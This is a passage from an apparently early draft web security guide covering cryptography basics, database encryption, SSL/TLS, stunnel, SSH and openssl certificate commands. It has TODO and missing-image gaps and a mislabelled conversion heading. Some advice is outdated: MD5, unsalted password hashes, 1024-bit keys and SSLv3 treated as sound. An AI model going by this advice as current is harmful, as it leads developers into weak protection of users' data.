
Cryptography (or crypto) is one of the more advanced topics of information security, and one whose understanding requires the most schooling and experience. It is difficult to get right because there are many approaches to encryption, each with advantages and disadvantages that needs to be well understood by the architects and developers of a web development project. In addition, the proper and accurate implementation of cryptography is extremely critical to its security strength. A small mistake in configuration or coding may result in removing most of the protection and rending the objective of crypto useless.

Lastly, a good understanding of crypto is required to be able to discern between solid products and systems and snake oil. The inherent complexity of crypto make it easy to fall for fantastic claims from vendors about their product. Typically these are "a breakthrough in cryptography" or "unbreakable" or provides "military grade" security. If a vendor says "trust us, we've had experts look at this", chances are they weren't experts! A good FAQ on snake oil cryptography at can be found at http://www.interhack.net/people/cmcurtin/snake-oil-faq.html. In addition, Bruce Schneier, a renowned cryptographer, regularly points out some of these vendors in his Crypto-Gram newsletter (http://www.counterpane.com/crypto-gram.html).

7.2. Crypto in Theory

A cryptographic system (or a cipher system) is a method of hiding data so that only certain people can view it. Cryptography is the practice of creating and using cryptographic systems. Cryptanalysis is the science of analyzing and reverse engineering cryptographic systems. The original data is called plaintext. The protected data is called ciphertext and this is the garbled version of the plaintext. Encryption is a procedure to convert plaintext into ciphertext. Decryption is a procedure to convert ciphertext into plaintext. A cryptographic system typically consists of algorithms, keys, and key management facilities.

Cryptography can be used to provide:

- Confidentiality - ensure data is read only by authorized parties,
- Data integrity - ensure data wasn't altered between sender and recipient,
- Authentication - ensure data originated from a particular party.
- Nonrepudiation - ensure party cannot deny previous commitments or actions.

Although there are dozens of products and algorithms available, the most basic and widely used approaches to encrypting data are symmetric (private or shared key) and asymmetric (public key).

Symmetric cryptography algorithms are typically fast and are suitable for processing large streams of data. Symmetric cryptographic systems require both the sender and the recipient to have the same key. This key is

used by the sender to encrypt the data, and again by the recipient to decrypt the data. Key exchange may be a problem. How do you securely send a key that will enable you to send other data securely? If a private key is intercepted or stolen, a malicious party can act as either party and view all data and communications. You can think of the symmetric crypto system as akin to the Chubb type of door locks. You must be in possession of a key to both open and lock the door.

TODO : insert graphic that explains process

In general, asymmetric ciphers are slower than their symmetric counterparts and key sizes are generally much larger. Public key cryptographic algorithms use a fixed buffer size whereas private key cryptographic algorithms use a variable length buffer. In addition, public key algorithms cannot be used to chain data together into streams like private key algorithms can. Despite its speed, symmetric cryptography is not optimal for Internet applications due to the nature of key exchange and the inherent scalability problems in managing vast amounts of shared keys. Hence in practice, symmetric algorithms are usually mixed with public key algorithms to obtain a blend of security and speed.

7.2.1. Hash Functions

TODO : insert graphic that explains process

A hash value is a unique and extremely compact numerical representation of a piece of data, or message. It is unlikely to find two distinct messages that hash to the same value so for our purposes, a hash is completely unique to a message. If this message changes in any way, so will the its resulting hash. The hash value acts like a fingerprint of the message. The most widely used hashing algorithms are MD5 and SHA.

Hash functions have some useful applications and form the basis for other technologies, such as digital signatures.

7.2.2. Digital Signatures

Digital signatures combine hashing with asymmetric cryptography to provide authentication, integrity and nonrepudiation. Confidentiality can be provided using additional cryptography, but confidentiality is not an objective of digital signatures. Many countries have passed laws that allows digital signatures to be as legally binding as a physical signature.

To create a digital signature, the sender hashes the message or document and then encrypts the hash value using his or her private key. This encrypted hash is then appended to the original message and sent to its destination. The receiver, in turn, removes the encrypted hash from the message and decrypts it using the sender's public key. The message is hashed again and the resulting value is compared with the decrypted hash value. If they both match, the receiver has some level of assurance that the message came from the sender and that is was not altered or forged during its transmission. Unless the receiver used a public key that did not belong to the real sender, but to a malicious party masqueraded as such. TODO :

insert graphic that explains process

7.2.3. Public Key Infrastructure

Public Key Infrastructure (or PKI)is a framework that uses cryptographic systems, hashing and digital signatures to create an infrastructure that provides all crypto goals (confidentiality, integrity, authentication and nonrepudiation) in an transparent manner.

As stated earlier, symmetric cryptography relies on a shared keys and these are typically physically exchanged so they are out of band. A byproduct of a real world meeting is that both sender and receiver are mutually authenticated. Asymmetric cryptography uses a key pair (private and public key) and the nature and security of the key exchange is critical to preventing spoofing attacks. If a malicious party initially fools the receiver that they are someone else (when exchanging public keys), the trust relationship has been breached. Digital signatures and public key crypto can provide authentication and confidentiality that that individual (who is also the impostor). PKI provides a solution to secure public key exchange by introducing certification authorities and digital certificates. Certification authorities act like trusted third parties that verify the real world identity of individuals and their association with the public and private keys. They certify an individual's (or subject) public key is authentic using digitally signed files called digital certificates (or public-key certificates). If the certification authority is trusted by the receiver, then the sender's identity and public key (obtained from the digital certificate) is also trusted.

Besides certification authorities, a public key infrastructure includes registration authorities (RAs), directories, certificate management systems (CMSs), policies, and a plethora of services and protocols to admister digital certificates. This administration includes providing ways to:

- allow individuals to register and obtain digital certificates
- verify the real world identity of individuals
- validate the authenticity of digital certificates
- revoke or update existing digital certificates
- securely store digital certificates
- transfer the digital certificates securely

Cryptography provides the foundation for information security and its a large and complex field. There are several other types of cryptographic algorithms and approaches besides the ones discussed above. There is elliptic curve cryptography, zero knowledge proof systems, stream ciphers, etc. For example, a novel approach to secure messaging is identity based encryption, that does away with public key certificates or key exchange. The public key can be composed of truly public information (such as the recipient's email address) and a central server distributes short lived private keys on demand.

For a complete and thorough tutorial on cryptographic systems and their implementation, we recommend reading `Applied Cryptography" by Bruce Schneier (see Bibliography).

7.3. Crypto in Practice

The objectives of cryptography apply to web applications in a great number of ways. Almost every application needs to deal with secrets of one type or another. Integrating cryptography into a web application may look

deceivingly simple and may seem to work but it doesn't mean it provides the level of security expected. As mentioned earlier, small mistakes in implementation can result in significant reduction in the level of protection. Mistakes in cryptography are typically not obvious and they tend manifest themselves only after a security breach. Cryptographic functions that are custom developed are very likely to contain mistakes. Even implementations of packaged and tested libraries have frequent mistakes prevalent enough to be on the OWASP Top Ten list of vulnerabilities in web applications. The number 8 vulnerability is insecure use of cryptographic functions, especially for protecting information and user credentials.

The best time to start thinking about cryptography and security when building a web application is during application design. A best practice is to perform a risk assessment to identify the areas of risk and focus. The time and energy spent on the risk assessment is relative to the context of the application and its purpose. A small web site with static pages might deserve an ad hoc conversation with the project team lasting no more than a few minutes. A transactional system that plans to process orders or large sums of money will require a more formal risk analysis process that includes a security risk profile, impact analysis, risk determination, etc.

A good way to identify the critical areas that might require cryptography is to step through the transaction or the data lifecycle within the application. Applications that transmit sensitive information (such as credit cards or personal information) need to implement countermeasures to mitigate eavesdropping or spoofing risk. In this case, crypto can be used to secure communications (confidentiality) and verify identity (authentication). Other applications have regulatory and legislative requirements for storing and archiving data securely. High profile web applications are exposed to brand risk if they easily compromised due to, say, insecure session management.

A cost benefit analysis follows from an understanding of the most pressing risks. How can crypto mitigate those risks? What components of the application require crypto? What is the most effective way of using crypto in these components?

7.3.1. Crypto for Communication

The most popular use of cryptography on the Internet is to secure communication between web browser and web server. The de facto standard for this purpose is TLS, which is based on SSL.

TLS/SSL offers the advantages of cryptography in a simple and effective manner, at a small cost. The cost is significant in terms of additional processing required as well as the cost of certificates. Processing requirements can be mitigated by purchasing additional servers or SSL accelerators and appliances. The cost of third party server certificates are generally small and negligible. TLS/SSL is addressed in more detail in the Transport Security chapter of this guide.

Besides communication between a browser and a web server, cryptography is used to secure transmission between two computers, in the case of VPNs (virtual private networks) or ssh (secure shell). Both are outside the scope of this guide but are commonly used for administration of web applications. Typically web applications are hosted at a collocation or hosting provider. In order to enable remote

administration, a best practice is to require strong authentication to connect to the local web server network, using a VPN. Once on that network, then ssh could be used to connect directly to the server.

7.3.2. Crypto for Authentication

A secure means of communication is fundamental, but its value would be precarious if one party cannot confirm the other at the end of the line. Sending your credit card information over a secure channel is of little consolation if you sent it to a crook.

TSL/SSL relies on public key cryptography, and thus uses a public key and private key. Digital certificates are used to exchange public keys with other parties and thus to verify identity. You can use a server certificate that allows users to authenticate your server before they transmit sensitive information. You can also use client certificates that allows you to authenticate users prior to sending them information. Certificates are issues by a certification authority (CA) but anybody can run their own CA and generate certificates. How can you one tell the certificate presented is valid and authentic? Who do you trust?

One answer to this question is establishing a direct trust relationship, that is simply to issue the certificate yourself. The certificate authority and all the keys that it issues is automatically trusted because you are running the CA yourself. This approach works best for internal or intranet applications.

Another solution is using a hierachical approach using a limited amount of root CAs that are mutually trusted. For example, if a web browser trusts the Verisign or Thawte certificate authority (CA) and in turn, the CAs trusts the certificate presented by your site, the web browser will accept the certificate as authentic and valid. This is the way most commercial web applications work. Every brower that supports SSL has a list of root certificate authorities that it trusts.

In technical terms the above scenario is called a centralized key infrastructure. Another approach of establishing a trust network is with a web of trust. This approach distributes trust across the users, instead of a few authoritative CAs. This approach is optimal for community oriented sites or for applications that involve a relatively small user pool.

In addition to certificates, cryptography forms the foundation for other approaches to authentication, such as using tokens or one time passwords. A token can be generated using key fobs (like RSA's SecureID), handheld devices or simply a software program. Some are synchronous and the token is generated based on a clock or a counter (or both) and by adding a shared secret key. Others are asynchronous and they rely on some of type challenge-response mechanism. The use of such tokens, in addition to passwords provides strong authentication and can be used on web applications with more stringent security requirements.

7.3.3. Crypto for Storage

California SB 1386, HIPAA, Sarbanes Oxley, GLBA are just some of the laws requiring companies based in US to protect and encrypt sensitive personal data. European companies have the EU Data Protection Directive in addition to their locallegislation. In addition to regulatory requirements, data encryption is increasingly found in business contracts and agreements. For example, Visa has an established set of requirements (Visa CISP) that mandate data encryption for merchants and credit card processors.

In the context of web application, secure data storage means database encryption in addition to adequate access

controls and system configuration. There are a few options where encryption can be applied, and specifically at the:

- file system level
- data column level
- application level

7.3.3.1. File System Level

File system encryption is a transparent approach to secure data storage in terms of impact to web application. Hardware or software can be used to encrypt the database files, which are subsequently decrypted by the database system. The key can be either stored on a hardware devide or on the server in a secured repository, like the Windows Security Accounts Manager (SAM) database. This approach is effective against unauthorized access of database files, in the case an attacker the attacker compromises the database server and obtains access to the files. This approach is less effective if the attacker is exploiting a vulnerability in the web application to extract data (like in the common case of SQL injection).

7.3.3.2. Data Column Level

Applying encryption at the data column level within a database is a focused approach and is sometimes significantly faster than encryption at the file system. In general, encryption performance is dependent on too many factors (such as database schema, data usage, encryption algorithm, type of solution, etc) and is thus impossible to produce meaningful metrics. Column level encryption works by storing the encrypted versions of sensitive information within the database. This information is then encrypted and decrypted by the database management system, based on the user connected to the database. Unauthorized users running queries typically receive error messages or no results. Column level encryption is not as transparent as the file system approach because the web application would be required to use different users to create a database connection. A common practice in web applications is to rely on a single user id with complete access to the database. With this database user id, the application server creates database connection pools to enhance performance. However, column level encryption is a great countermeasure against attacks originating from the web application itself.

7.3.3.3. Web Application Level

The most comprehensive approach to database encryption is the application level encryption. This approach moves encryption and decryption to the web application itself so the data sent to the database is already encrypted. Some custom code is required as well as a profound grasp of cryptography, depending on the complexity.

For example when storing user passwords, a best practice is to use hashing since it allows a party to prove they know something without revealing what that is. If a user password is "mypassword", the application would hash this string resulting in say, "cb4e0bdaf03845". This string would then be stored be in a database. The next time a user attempts to log in, the application hashes the password received and then checks to see if the resulting hash value matches the one in the database.

In theory application level encryption can offer the most security, but in reality it also offers the most risk of a poor implementation, and thus the most insecurity. There are some vendors that can assist (such as nCipher or Entrust) nevertheless this solution has the highest impact to the application and requires an enormous amount of confidence in the development team.

The three approaches to database encryption are not mutually exclusive. In fact, applications with stringent security requirements may use a combination of approaches. In all cases however, encryption will diminish the overall system performance.

7.3.4. Summary

Cryptography is one of pillars of information security. Its usage and propagation has exploded due to the Internet and its now included in most areas computing. Crypto can be used for

- Remote access such as IPSec VPN
- Certificate based authentication
- Securing confidential or sensitive information
- Obtaining nonrepudiation using digital certificates
- Online orders and payments
- Email and messaging security such as S/MIME

A web application can implement cryptography at multiple layers: application, application server or runtime (such as .NET), operating system and hardware. Selecting an optimal approach requires a good understanding of application requirements, the areas of risk and the level of security strength it might require, flexibility, cost, etc.

Although cryptography is not a panacea, the majority of security breaches do not come from brute force computation but from exploiting mistakes in implementation. The strength of a cryptographic system is measured in key length. But using a large key length and then storing the unprotected keys on the same server, eliminates most of the protection benefit gained. Besides the secure storage of keys, another classic mistake is engineering custom cryptographic algorithms (to generate random session id's for example). Many web applications were hacked because the developers thought they could create their crypto functions. Our recommendation is to proven products, tools or packages when it comes to crptography.

Chapter 8. Transport Security

8.1. What is Transport Security?

Transport Security is the process of transmitting data securely between data consumers (clients) and producers (servers). In general, the client and server entities may be computers, network members, or even processes within the same computer.

In the context of web applications and services, transport security is often used to secure the communications between tiers. For example, it provides a secure channel through the open network, between the end-user and the presentation tier. However, it also may come into play to tunnel through a **demilitarized zone**, which resides between the presentation tier and application tier, or between the application tier and the data tier.

The most common transport security protocols are SSL (Secure Sockets Layer), TLS (Transport Layer Security, its successor), IPSec (the IP Security protocol, a link-layer protocol), Secure HTTP (shttp), and Microsoft's Server Gated Cryptography (SGC). There are also various application level utilities, such as Secure FTP (sftp), SSH (the secure shell), and stunnel (a tunneling application, useful to SSL-enable an application where SSL is not built-in).

8.2. Motivations

Why is transport security necessary? First, because data transmissions over standard connections are easy to eavesdrop and offer no inherent protection; second, because there are often legal statutes, which require secure information handling (Sarbanes Oxley, HIPAA, etc.) Finally, company data is a valuable asset, which must be protected in its own right.

8.3. Benefits, Costs, and Issues

It is important to understand the benefits, costs, and tradeoffs associated with providing transport security. For example, additional resources will be required to develop, test, and deploy secure connections through the product lifecycle, impacting the design, development, test, and operations phases. Secondly, it will be necessary to buy (or make) and manage digital certificates. Finally, it will be desirable to provide performance that scales, in terms of connection setup throughput. Therefore, there is some insight and judgment required in applying transport security strategically and effectively, rather than in a catch-all fashion.

8.4. Application-level Transport Security

Sometimes, there will not be the time or opportunity to incorporate transport security directly into the application that requires it. Or, in the situation where discrete files will be transferred under script control, it may be sufficient to use an external transport provider, which provides the transport security. In such cases, the stunnel and ssh applications are a big help.

8.4.1. Stunnel

The stunnel application is an open source SSL endpoint, which is able to establish a connection with an SSL-enabled server. Furthermore, it can use a self-signed or a commercial-grade certificate, which has been issued by a trusted certification authority.

The application that uses stunnel simply connects to it using a conventional socket connection. Stunnel forwards the connection, over an SSL connection, to the server determined by its configuration file.

For more information, see the stunnel man page.

8.4.1.1. Availability

Stunnel is available in most Linux distributions, or may be obtained from http://www.stunnel.org.

8.4.1.2. Caveats

The connection between stunnel and the client application is a cleartext connection, so using stunnel is not as secure as integrated SSL capability. Therefore, adequate security measures must be in place on the stunnel host (which is often the same computer that the client application is running on). However, stunnel can be used to provide SSL transport capability quickly, in situations where the security considerations aren't rigorous, or are well managed.

Stunnel can't be used to provide secure connections for the FTP service. This is because of the nature of the FTP service, which requires one connection to be opened for FTP commands and another for data transfer. In such case, FTP should be replaced with an alternative like scp or anything alike.

8.4.1.3. Stunnel Example

This example uses stunnel in a loop-back fashion to provide an SSL connection from an e-mail client system to a Microsoft Outlook Web Access server. The e-mail client connects to localhost port 80 and the connection is forwarded using SSL to https://owa.foo.com.

Here are the steps:

- Login to the client system as the administrative user (root).
- Add a service definition to /etc/stunnel/stunnel.conf:

```
[owa]
accept  = 80
connect = owa.foo.com:443
```

- Restart (or start) the stunnel service:

```
# /etc/init.d/stunnel restart
```

Now, client connections to localhost port 80 will be forwarded over an SSL connection to owa.foo.com port 443.

8.4.2. SSH

The SSH protocols came about from a desire to provide secure replacements for the Berkeley/ARPA rsh, rcp, and rlogin commands.

SSH is well-suited for providing secure authentication, session, and file transport capabilities for interactive users, scripts, or even software applications. It also features a secure forwarding capability, which works well with X11, VNC, and other application level protocols.

Commonly available SSH versions feature a command-line interface, which makes it less suitable than SSL for direct use by a software application.

There are two versions of the SSH protocol; SSHv1 and SSHv2. However, due to security issues and because the SSHv2 protocol offers more ciphering options and session negotiation capabilities, the version 1 protocol is deprecated.

At least two books are available that describe using SSH in detail. For further information, see Barrett, et al [5] or Dwivedi [6].

8.4.2.1. Availability

SSH is available on numerous platforms, including most UNIX and Windows editions. The open source version is available from http://www.openssh.org and works on systems ranging from supercomputers, desktop workstations, to handheld computers.

8.4.2.2. Caveats

Ssh doesn't include an application program interface (API), it only provides a simple command line interface. This makes it most suitable for interactive session or scripting environments, instead of direct integration within a software or web application.

One method frequently used to support ssh connections to a Windows machine is to download, install, and run the Cygwin32 environment; see the project website at http://www.cygwin.com for further information. Alternatively, one can use the native compiled version by F-Secure or another supplier.

Ssh supports the use of **certificate based authentication** in addition, or as an alternative to, basic authentication (i.e. username and password). Certificate based logins provide more robust and efficient authentication, and are especially handy in automation situations, where interactive prompting for username and password may prove unwieldy. See the cited references for further information.

8.4.2.3. SSH Example

These examples are for Linux and assume ssh is already installed, configured, and in the shell search path on client and server. For further information, see Barrett, et al [5] and Dwivedi [6].

Starting the SSH Server

In general, use the system start-up script to manually manage ssh service:

To start:

```
# /etc/init.d/sshd start
```

To restart:

```
# /etc/init.d/sshd restart
```

To stop:

```
# /etc/init.d/sshd stop
```

Opening an Interactive Session

Enter the following command, on the client, to start a session on the server:

```
$ ssh [-l login-name] hostname
```

Where

- login-name

  The login name to use; the active login name will be assumed otherwise.
- hostname

  The name of the server to connect to.

Note: You will be prompted to enter the necessary password.

Sending a Single Command

This is similar to opening an interactive session but sends a single command:

```
$ ssh [-l login-name] hostname command-string
```

Where

- login-name

  The login name to use; the active login name will be assumed otherwise.
- hostname

  The name of the server to connect to.
- command-string

  A single shell command, which will be executed on the server. Normal escape characters apply and should be used as necessary.

Note: You will be prompted to supply the necessary password.

Copying a File

Use the scp command to copy a file from client to server:

```
$ scp source-file login-name@hostname:dest-file
```

Where

- source-file

  The relative or absolute pathname of the file to send.
- login-name

  The login name to use; the active login name will be assumed otherwise.
- hostname

  The name of the server to connect to.
- dest-file

  The relative or absolute pathname, on the server, to send the file to. This may be the same name as on the client or a different name. It may also be a dot (.), which indicates the file should be placed in the user's home directory, on the server, using the same name.

8.5. What are TLS and SSL?

When a URL uses the **https** scheme, it refers to HTTP over SSL transport. SSL, or the Secure Sockets Layer, was designed by Netscape Corporation and was first included in the Netscape v1.1 browser in 1995. Today, SSL is the most widely used transport security protocol in the world and is included de facto in all major web browsers and servers. Even VPN products are migrating to SSL, instead of IPSec, because of its proliferation.

SSL Version 2 (SSLv2) appeared in 1994, but had a number of security problems that needed to be fixed. SSL Version 3 fixes the problems, includes the ability to negotiate more ciphering schemes, and also includes support for arbitrary-length certificate chains; all important enhancements.

Since Netscape's original version of SSL was technically a proprietary protocol, the Internet Engineering Task Force (IETF) assumed responsibility for managing the SSL standard and renamed it to TLS (an acronym for **Transport Layer Security**). TLS Version 1.0 is functionally equivalent to SSL Version 3.1, with only minor changes to the original specification.

Important Notes:

- In general, SSLv2 is deprecated, due to its security weaknesses and because SSLv3 offers greater flexibility and upward compatibility. Therefore, the most contemporary and security-conscious websites will support SSLv3 and TLS connections.
- SSL is an important component to web applications, but unfortunately, and often incorrectly, it has become ubiquitous with guarantees of comprehensive website security. Many e-commerce sites actively advertise, 'Transactions on our site are secure, because we use 128-bit SSL.'
- SSL, of course, is just one security component, which provides protection in moving data from client to server, but it does not make a website secure by itself. Furthermore, SSL is not immune from its own security and configuration issues, which can actually lead to significant vulnerabilities, unless understood and managed properly.

8.5.1. How TLS and SSL Work

At least two books have been written on the protocols, so just a brief presentation will be made here. For detailed information, see Rescorla [1] or Thomas [2].

TLS and SSL are based on the Public Key Infrastructure (PKI) technology. Both protocols feature server-only or mutual authentication methods, by the use of private/public keys, digital certificates, and the Public Key Cryptography Standards (PKCS).

For the purpose of simplicity, we will refer to TLS and SSL as just **SSL**, clarifying when necessary.

SSL provides three essential security services when transporting data to and from web applications or services:
- Message Confidentiality
- Message Integrity
- Entity Authentication

For security and performance reasons, SSL uses public key cryptography initially and switches to bulk data encryption with shared secret key and symmetric ciphering. The use of digital certificates assists in communicating the shared secret key in a secure fashion and also provides the Entity Authentication functionality. The SSL certificates are conventional X.509 certificates, which may include certificate extensions that designate special usage or features.

A digital certificate includes textual information identifying the originator, a public key, and certification authority chaining information to validate trust (this chaining information is also referred to as the **Hierarchy of Trust** or **HOT**). Finally, the certificate is digitally-signed by a trusted third party, which is usually the issuing certification authority.

As mentioned earlier, SSL features two entity authentication modes: The first, and most common, is for just the server to be authenticated by the client. The second, and most secure case, is for the server and client to mutually authenticate. For both cases, the SSL connection setup is completed before any HTTP transfer occurs.

8.5.1.1. SSL with Server-only Authentication

SSL negotiation with server-only authentication is a nine-step process (see the figure).

Note: In the steps below, #4, #6, and #8 are intentionally missing, because they are relevant only for the mutual authentication mode, which is described in the next section.

Figure 1 -- SSL connection setup with server verification only

MISSING IMAGE HERE

- 1

  First, the client sends a **Client Hello** message to the server. The message contains the SSL version, the cipher suites, and the maximum key lengths the client is capable of communicating with.
- 2

  The server answers with a **Server Hello** message, which proposes the SSL version, ciphers, and key lengths, from among the choices offered in the Client Hello.
- 3

  The server sends its digital certificate to the client. The client will check the certificate (depending on configuration) and warn the user if the certificate is expired, revoked, or its hierarchy of trust doesn't chain up to a well-known root certification authority.
- 5

  The server sends a **Server Hello Done** message, indicating it has concluded this portion of the connection setup process.
- 7

  The client generates a secret key for symmetric ciphering and encrypts it using the server's public key, taken from the server's validated digital certificate. It sends this message to the server.
- 9

  The client sends a **Change Cipher Spec** message, telling the server all future communications will utilize the shared secret key and specified symmetric ciphering scheme for efficient bulk data transmission.
- 10

The client sends a **Finished** message, encrypted using the shared secret key, which will also determine if the server is capable of decrypting the message, and therefore that symmetric ciphering negotiation has been successfully completed.

- 11

The server sends a **Change Cipher Spec** message, acknowledging that all future communications will be encrypted using the shared secret key and selected symmetric ciphering scheme.

- 12

The server sends a **Finished** message, encrypted using the shared secret key. If the client can decrypt this message successfully, the negotiation is complete, and the secure socket has been established.

8.5.1.2. SSL with Mutual Authentication

SSL negotiation with mutual authentication (client/server) is a twelve-step process (see the following figure), which includes three more steps that the previously described process.

Figure 2 -- SSL connection setup with client and server verification

MISSING IMAGE HERE

The additional steps are:

- 4

The server sends a **Certificate Request** message to the client, after sending its certificate and the **Server Hello Done** message.

- 6

The client responds with its digital certificate.

- 8

The client sends a **Certificate Verify** message, which includes a known piece of plaintext, encrypted using its private key. The server uses the client's certificate to decrypt the text, thereby confirming the client had the private key.

8.5.2. Important Considerations

As seen from the basic protocol flow, there are many security decisions and processes which occur seamlessly during SSL session setup, all of which may have significant impact on the website's end security. Although we cannot cover them all here, some important considerations are noted below.

8.5.2.1. SSL Provides Transport Security Only

It is important to understand that SSL alone is insufficient to prevent all of the OWASP Top Ten [11] attack types from happening. For example, SQL injection cannot be prevented just because the HTTP request is transported over a secure connection. Therefore, transport security is just one component to ensure comprehensive web application security.

8.5.2.2. Server Certificate Check

The client should check the server's certificate for validity. Generally, it's a client-side configuration option to require checking the server's certificate, and the default is usually to skip this check. Therefore, corporate security policies should require the client browser to perform certificate validation, which at a minimum should include checking the validity dates, or more thoroughly, checking revocation information and the hierarchy of trust as well.

8.5.2.3. Client Proposed Cipher and Key Length

The client starts the SSL connection process by informing the server about the cipher types and key lengths it will support. If the options offered by the client provide only weak encryption, then the server should be configured in such fashion as to deny the connection. Make sure the server is configured appropriately, because in general, the default will be to use the selections preferred by the client.

8.5.2.4. Client Proposed SSL Version

As mentioned in Section 5.0, protocol versions before SSLv3 are deprecated. Therefore, the server should be configured to accept only SSLv3 or TLS connections, while logging failed SSLv2 connections appropriately.

8.5.2.5. Client Proposed Key Exchange Algorithm

The server should be configured to accept only suitable strength key exchange algorithms from the client. Furthermore, the server should not allow the client to back down the key exchange algorithm or bulk data encryption strength.

8.5.2.6. X.509 Certificate Extensions May Give the Game Away

As mentioned in Section 5.1, digital certificates may include extensions, which indicate special usage or features. It is important that such extensions be complementary to the SSL protocol to avoid introducing security vulnerabilities.

MISSING EXAMPLE!

8.5.3. OpenSSL

The OpenSSL project is a collaborative open-source initiative that publishes a multi-platform implementation of the TLS/SSLv3 protocols, which also includes the useful openssl cryptographic utility. For further information, see the project's home page, at http://www.openssl.org.

8.5.4. PureTLS

The PureTLS project is an open-source initiative that publishes a 100% Java implementation of the TLS protocol for use in Java environments. For further information, see the project's home page at http://www.rtfm.com/puretls.

8.5.5. Digital Certificate Infrastructure and Lifecycle

There is a quite elaborate infrastructure and lifecycle associated with digital certificates. A full presentation is beyond the scope of this guide, but the basics are mentioned below. For detailed information, see Feghhi, et al [7].

8.5.6. Certificate Management Entities and Processes

All X.509 based implementations share certain common entities and processes. They include:

- One or more Registration Authorities (RA)

  The RA(s) are responsible for gathering registration information from applicants and creating certificate signing requests (CSRs).
- A Certification Authority (CA)

  The CA is responsible for generating certificates, in response to requests from an RA or by CSR submittals. The CA creates the certificate file, calculates and adds a unique hash value, and signs it using its own private key, which indelibly marks the certificate as originating from, or being signed by, that CA.

  The CA is also responsible for periodically publishing revocation information, known as a Certificate Revocation List (CRL) or for providing a network service that allows clients to submit revocation check requests and receive Good/Not Good responses over the network. The most common revocation checking protocols include the On-line Certificate Status Protocol (OCSP) and the Simple Certificate Protocol (SCP).
- One or more optional Validation Authorities (VA)

  The VA provides a central point of contact for validating certificates and performing revocation checking. The VA provides an economy of scale, by consolidating CRLs or validation checking services received from multiple CAs.

8.5.7. Certificate Management Standards

There are various standards-based management operations for X.509-based certificate implementations. The common operations include:

- Registering to receive a certificate (at a minimum, this requires visiting a registration authority website or generating a certificate signing request, or CSR).
- Submitting the CSR to the registration authority (RA).
- Receiving the certificate and private key from the certification authority (CA).
- Installing the certificate on the end system.
- Performing various utility operations (for example, displaying the certificate validity dates and attributes, validating a certificate, revoking a certificate, renewing a certificate, etc.)

8.5.8. Certificate File Types

Depending on the end system platform, it may be necessary to convert among certificate formats (see below for more information on the typical format types; the following sections explain how to use the openssl utility for this purpose).

The following file types are common:

.cer: An X.509 digital certificate, in binary DER or Base64 format.

.crl: Certificate Revocation List

.crt: A temporary X.509 Certificate

.csr: Certificate Signing Request

.der: An X.509 certificate, in Distinguished Encoding Rules format, the certificate fields are encoded using (tag, length, value) triplets.

.p7b: An X.509 certificate, stored in PKCS#7 format.

.pem: Privacy Enhanced Mail format, a key or X.509 certificate, Base64 encoded, surrounded by BEGIN-END header lines.

.pfx or .p12: Personal Information Exchange (PKCS#12) format, a password protected and portable format for

storing or transporting the private key and associated certificate.

8.5.9. Common OpenSSL Operations

The following sections show how to use the openssl utility to perform various certificate management and utility operations.

8.5.9.1. Creating a CA Signed Certificate

This example is for a fictitious http://www.foo.com certificate.

First, visit the RA's or CA's website and check the instructions there. In general, however, the process will follow these steps:

- Go to your local SSL directory and generate a private key:

```
# cd /usr/local/ssl/private
# openssl genrsa -des3 1024 > foo-com.pem
```

- Note: You will be prompted to create the key access password. Back up the password and the generated private key file, and save them in a secure fashion.
- Go to the local certs directory and generate a Certificate Signing Request (CSR):

```
# cd /usr/local/ssl/certs
# openssl req -new -key ../private/foo-
com.pem > foo-com.csr
```

Note: You will be prompted to supply the various certificate field values.

- Generate a temporary self-signed certificate, good for ten days:

```
# openssl req -x509 -key ../private/foo-
com.pem -in foo-com.csr -days 10 > foo-com.crt
```

Note: If desired, use this certificate to get your SSL-enabled website running while waiting on the CA signed certificate to arrive.

- Submit the CSR to the CA
- Receive the signed certificate from the CA
- Install the certificate (replace the temporary self-signed certificate with the CA signed certificate)

8.5.9.2. Creating a Self-signed Certificate

It is possible to use the openssl utility to create a self-signed certificate, too.

Caveats:

- When a certificate is self-signed, it does not have a hierarchy of trust, which chains up to a well-known certification authority. Specifically, it only has trust within the confidence granted to the system that created the certificate. Therefore, it is ill-advised to use a self-signed certificate for an e-commerce website, although it may be an acceptable option for an internal or testing-only website.
- Most web browsers will not accept a self-signed certificate by default. Typically, a pop-up dialog appears to prompt the user to accept the certificate before continuing the connection process.

To use the openssl utility to generate a self-signed certificate, follow this process:

- Go to your local SSL directory and generate a private key:

```
# cd /usr/local/ssl/private
# openssl genrsa [-des3|-aes128|-aes192|-aes256]
[numbits] > key.pem
```

Where

des3 or **aes#** signify using Triple DES or AES encryption, respectively, for protecting the private key.

Note: If you supply one of these options, you will be prompted to create the key access password. Back up the password and the generated private key file, and save them in a secure fashion.

numbits signifies the number of bits for the modulus used to encrypt the private key.

Note: The default value is 512; the recommended value is 1024.

key.pem signifies the filename where the encrypted private key will be placed, in PEM format.

- Go to the local certs directory and generate a Certificate Signing Request (CSR):

```
# cd /usr/local/ssl/certs
# openssl req -new -key ../private/key.pem >
cert.csr
```

Note: You will be prompted to supply the various certificate field values.

- Generate the self-signed certificate, good for one year:

```
# openssl req -x509 -key ../private/key.pem -in
```

```
cert.csr -days 365 > cert.crt
```

- Install the certificate.

8.5.9.3. Converting Among Certificate Formats

Sometimes, a certificate may be received in PEM format, but needs to be installed in PKCS#12 format, or vice versa. The openssl utility is useful to facilitate conversions between the two formats, as shown below.

Note: For a description of all the openssl PKCS#12 options, run **openssl pkcs12 help**.

8.5.9.3.1. Converting PKCS#12 to PKCS#7 Format

This example converts PKCS#12 (.p12 format) to PEM, taking just the client certs with private keys:

```
$ openssl pkcs12 -in filename.p12 -out
client_certs.pem -nodes -clcerts
```

This example converts PKCS#12 (.p12 format) to PEM, taking just the CA certs:

```
$ openssl pkcs12 -in filename.p12 -out
ca_certs.pem -nokeys -cacerts
```

8.5.9.3.2. Converting PKCS#7 to PKCS#12 Format

This example converts a PEM format certificate and private key to PKCS#12 (.p12 format):

```
$ openssl pkcs12 -export -inkey key.pem -in
cert.pem -out filename.p12
```

This example converts a PEM format certificate and private key to PKCS#12 (.p12 format), but with no encryption of the private key:

```
$ openssl pkcs12 -export -inkey key.pem -in
cert.pem -out filename.p12 -nodes
```

8.6. Summary

Transport Security provides a secure communications channel between client and server systems. The commonly used protocols are SSL/TLS, IPSec, Secure HTTP (shttp), and Microsoft SGC. There are other application-level utilities available, too, including Stunnel, SSH, Secure FTP and S/MIME.

SSL is the most widely used transport security protocol and uses public key encryption for session setup with a shared secret key and symmetric ciphering for efficient bulk data encryption. The use of SSL alone doesn't guarantee comprehensive web application security, although it is an important component for that objective. There are also various considerations to address to ensure that an SSL/TLS deployment is configured in an optimally secure fashion.

